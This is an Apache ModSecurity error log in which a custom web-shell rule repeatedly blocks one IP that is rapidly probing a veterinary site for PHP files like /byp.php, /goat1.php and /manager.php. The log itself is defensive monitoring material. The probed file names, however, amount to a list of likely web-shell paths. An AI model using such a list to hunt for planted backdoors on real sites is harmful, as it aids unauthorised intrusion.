[Mon Dec 08 05:59:50.198931 2025] [:error] [pid 18635:tid 18681] [client 4.189.128.201:33546] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aTX41m4kCC_HamQRuE10mQAAAFA"]
[Mon Dec 08 05:59:50.426478 2025] [:error] [pid 18634:tid 18639] [client 4.189.128.201:9706] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aTX41p-H1wCBKPf4vhN99gAAAAE"]
[Mon Dec 08 05:59:50.656171 2025] [:error] [pid 54704:tid 54727] [client 4.189.128.201:9727] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aTX41nL1WYsMMmlqjh4U8AAAAVQ"]
[Mon Dec 08 05:59:50.906543 2025] [:error] [pid 54671:tid 54691] [client 4.189.128.201:35698] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aTX41lqOuiNLLCfVy7-MsAAAARE"]
[Mon Dec 08 05:59:51.161484 2025] [:error] [pid 18635:tid 18688] [client 4.189.128.201:35695] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aTX4124kCC_HamQRuE10mgAAAFc"]
[Mon Dec 08 05:59:51.399439 2025] [:error] [pid 54671:tid 54681] [client 4.189.128.201:61217] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aTX411qOuiNLLCfVy7-MsQAAAQc"]
[Mon Dec 08 05:59:51.634072 2025] [:error] [pid 18636:tid 18712] [client 4.189.128.201:28040] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aTX41-gdXnohVr6jm71H6wAAAJQ"]
[Mon Dec 08 05:59:51.860940 2025] [:error] [pid 18636:tid 18706] [client 4.189.128.201:23764] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aTX41-gdXnohVr6jm71H7AAAAI4"]
[Mon Dec 08 05:59:52.093726 2025] [:error] [pid 18634:tid 18655] [client 4.189.128.201:35668] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aTX42J-H1wCBKPf4vhN9-AAAABE"]
[Mon Dec 08 05:59:52.324177 2025] [:error] [pid 18634:tid 18661] [client 4.189.128.201:9667] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aTX42J-H1wCBKPf4vhN9-QAAABc"]
[Mon Dec 08 05:59:52.554756 2025] [:error] [pid 18635:tid 18683] [client 4.189.128.201:33560] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aTX42G4kCC_HamQRuE10ngAAAFI"]
[Mon Dec 08 05:59:52.787384 2025] [:error] [pid 54705:tid 54758] [client 4.189.128.201:23803] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aTX42KdUeDkxwo12SG8nFQAAAZg"]
[Mon Dec 08 05:59:53.015168 2025] [:error] [pid 18634:tid 18662] [client 4.189.128.201:23762] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aTX42Z-H1wCBKPf4vhN9-gAAABg"]
[Mon Dec 08 05:59:53.242684 2025] [:error] [pid 18635:tid 18686] [client 4.189.128.201:59646] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTX42W4kCC_HamQRuE10oAAAAFU"]
[Mon Dec 08 05:59:53.470167 2025] [:error] [pid 54705:tid 54736] [client 4.189.128.201:35710] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTX42adUeDkxwo12SG8nFgAAAYI"]
[Mon Dec 08 05:59:53.702977 2025] [:error] [pid 18634:tid 18649] [client 4.189.128.201:9684] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTX42Z-H1wCBKPf4vhN9-wAAAAs"]
[Mon Dec 08 05:59:53.930002 2025] [:error] [pid 54705:tid 54742] [client 4.189.128.201:23755] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aTX42adUeDkxwo12SG8nGgAAAYg"]
[Mon Dec 08 05:59:54.158744 2025] [:error] [pid 18634:tid 18638] [client 4.189.128.201:35680] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX42p-H1wCBKPf4vhN9_AAAAAA"]
[Mon Dec 08 05:59:54.387746 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:35178] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX42nL1WYsMMmlqjh4U8wAAAU8"]
[Mon Dec 08 05:59:54.618466 2025] [:error] [pid 54704:tid 54707] [client 4.189.128.201:59605] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX42nL1WYsMMmlqjh4U9QAAAUA"]
[Mon Dec 08 05:59:54.848212 2025] [:error] [pid 54705:tid 54741] [client 4.189.128.201:35696] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aTX42qdUeDkxwo12SG8nHQAAAYc"]
[Mon Dec 08 05:59:55.084306 2025] [:error] [pid 54705:tid 54744] [client 4.189.128.201:23775] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aTX426dUeDkxwo12SG8nHwAAAYo"]
[Mon Dec 08 05:59:55.314005 2025] [:error] [pid 54704:tid 54708] [client 4.189.128.201:28061] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aTX423L1WYsMMmlqjh4U-gAAAUE"]
[Mon Dec 08 05:59:55.541846 2025] [:error] [pid 18636:tid 18708] [client 4.189.128.201:35175] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aTX42-gdXnohVr6jm71H9AAAAJA"]
[Mon Dec 08 05:59:55.775913 2025] [:error] [pid 18634:tid 18654] [client 4.189.128.201:61196] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aTX425-H1wCBKPf4vhN9_QAAABA"]
[Mon Dec 08 05:59:56.008824 2025] [:error] [pid 54704:tid 54725] [client 4.189.128.201:28049] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX43HL1WYsMMmlqjh4U_gAAAVI"]
[Mon Dec 08 05:59:56.236881 2025] [:error] [pid 54704:tid 54715] [client 4.189.128.201:35687] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX43HL1WYsMMmlqjh4VAAAAAUg"]
[Mon Dec 08 05:59:56.479053 2025] [:error] [pid 18636:tid 18704] [client 4.189.128.201:35192] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX43OgdXnohVr6jm71H9QAAAIw"]
[Mon Dec 08 05:59:56.720104 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:9703] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aTX43OgdXnohVr6jm71H9wAAAII"]
[Mon Dec 08 05:59:56.958478 2025] [:error] [pid 18636:tid 18714] [client 4.189.128.201:9725] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aTX43OgdXnohVr6jm71H-AAAAJY"]
[Mon Dec 08 05:59:57.185888 2025] [:error] [pid 18636:tid 18698] [client 4.189.128.201:9710] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aTX43egdXnohVr6jm71H-wAAAIY"]
[Mon Dec 08 05:59:57.423046 2025] [:error] [pid 18635:tid 18685] [client 4.189.128.201:35648] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aTX43W4kCC_HamQRuE10ogAAAFQ"]
[Mon Dec 08 05:59:57.662278 2025] [:error] [pid 18726:tid 18748] [client 4.189.128.201:9699] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "aTX43VwVbxmJGL5LHAc6IwAAANQ"]
[Mon Dec 08 05:59:57.896624 2025] [:error] [pid 54705:tid 54747] [client 4.189.128.201:9718] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aTX43adUeDkxwo12SG8nJQAAAY0"]
[Mon Dec 08 05:59:58.127227 2025] [:error] [pid 54704:tid 54720] [client 4.189.128.201:23780] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aTX43nL1WYsMMmlqjh4VAwAAAU0"]
[Mon Dec 08 05:59:58.363572 2025] [:error] [pid 54704:tid 54721] [client 4.189.128.201:9722] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aTX43nL1WYsMMmlqjh4VBAAAAU4"]
[Mon Dec 08 05:59:58.594915 2025] [:error] [pid 54704:tid 54719] [client 4.189.128.201:9717] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aTX43nL1WYsMMmlqjh4VBQAAAUw"]
[Mon Dec 08 05:59:58.825984 2025] [:error] [pid 18726:tid 18747] [client 4.189.128.201:35673] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aTX43lwVbxmJGL5LHAc6JwAAANM"]
[Mon Dec 08 05:59:59.053175 2025] [:error] [pid 18636:tid 18715] [client 4.189.128.201:35670] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aTX43-gdXnohVr6jm71H_wAAAJc"]
[Mon Dec 08 05:59:59.292564 2025] [:error] [pid 18634:tid 18645] [client 4.189.128.201:9672] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aTX435-H1wCBKPf4vhN-AwAAAAc"]
[Mon Dec 08 05:59:59.520185 2025] [:error] [pid 18636:tid 18697] [client 4.189.128.201:61231] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aTX43-gdXnohVr6jm71IAAAAAIU"]
[Mon Dec 08 05:59:59.750741 2025] [:error] [pid 18634:tid 18640] [client 4.189.128.201:35173] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aTX435-H1wCBKPf4vhN-BwAAAAI"]
[Mon Dec 08 06:00:00.011422 2025] [:error] [pid 18634:tid 18648] [client 4.189.128.201:59635] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aTX44J-H1wCBKPf4vhN-CAAAAAo"]
[Mon Dec 08 06:00:00.251097 2025] [:error] [pid 54705:tid 54737] [client 4.189.128.201:35661] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aTX44KdUeDkxwo12SG8nKQAAAYM"]
[Mon Dec 08 06:00:00.480219 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:35709] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aTX44KdUeDkxwo12SG8nKgAAAZc"]
[Mon Dec 08 06:00:00.728402 2025] [:error] [pid 18635:tid 18682] [client 4.189.128.201:35137] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aTX44G4kCC_HamQRuE10pAAAAFE"]
[Mon Dec 08 06:00:00.956947 2025] [:error] [pid 54671:tid 54693] [client 4.189.128.201:9677] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aTX44FqOuiNLLCfVy7-MuAAAARM"]
[Mon Dec 08 06:00:05.093567 2025] [:error] [pid 54705:tid 54755] [client 4.189.128.201:9690] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aTX45adUeDkxwo12SG8nQgAAAZU"]
[Mon Dec 08 06:00:05.557429 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:35183] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aTX45VqOuiNLLCfVy7-MwQAAARY"]
[Mon Dec 08 06:00:06.021241 2025] [:error] [pid 54705:tid 54734] [client 4.189.128.201:35157] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aTX45qdUeDkxwo12SG8nRQAAAYA"]
[Mon Dec 08 06:00:06.490783 2025] [:error] [pid 18636:tid 18707] [client 4.189.128.201:59602] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aTX45ugdXnohVr6jm71IBgAAAI8"]
[Mon Dec 08 06:00:06.610215 2025] [:error] [pid 54704:tid 54722] [client 4.189.128.201:28077] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTX45nL1WYsMMmlqjh4VCwAAAU8"]
[Mon Dec 08 06:00:06.850306 2025] [:error] [pid 18636:tid 18702] [client 4.189.128.201:59623] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTX45ugdXnohVr6jm71ICQAAAIo"]
[Mon Dec 08 06:00:07.086959 2025] [:error] [pid 54705:tid 54756] [client 4.189.128.201:35674] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTX456dUeDkxwo12SG8nSQAAAZY"]
[Mon Dec 08 06:00:07.320139 2025] [:error] [pid 18636:tid 18709] [client 4.189.128.201:9678] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTX45-gdXnohVr6jm71ICwAAAJE"]
[Mon Dec 08 06:00:07.579994 2025] [:error] [pid 54705:tid 54750] [client 4.189.128.201:23773] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aTX456dUeDkxwo12SG8nSgAAAZA"]
[Mon Dec 08 06:00:07.808365 2025] [:error] [pid 18636:tid 18692] [client 4.189.128.201:23748] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aTX45-gdXnohVr6jm71IDgAAAIA"]
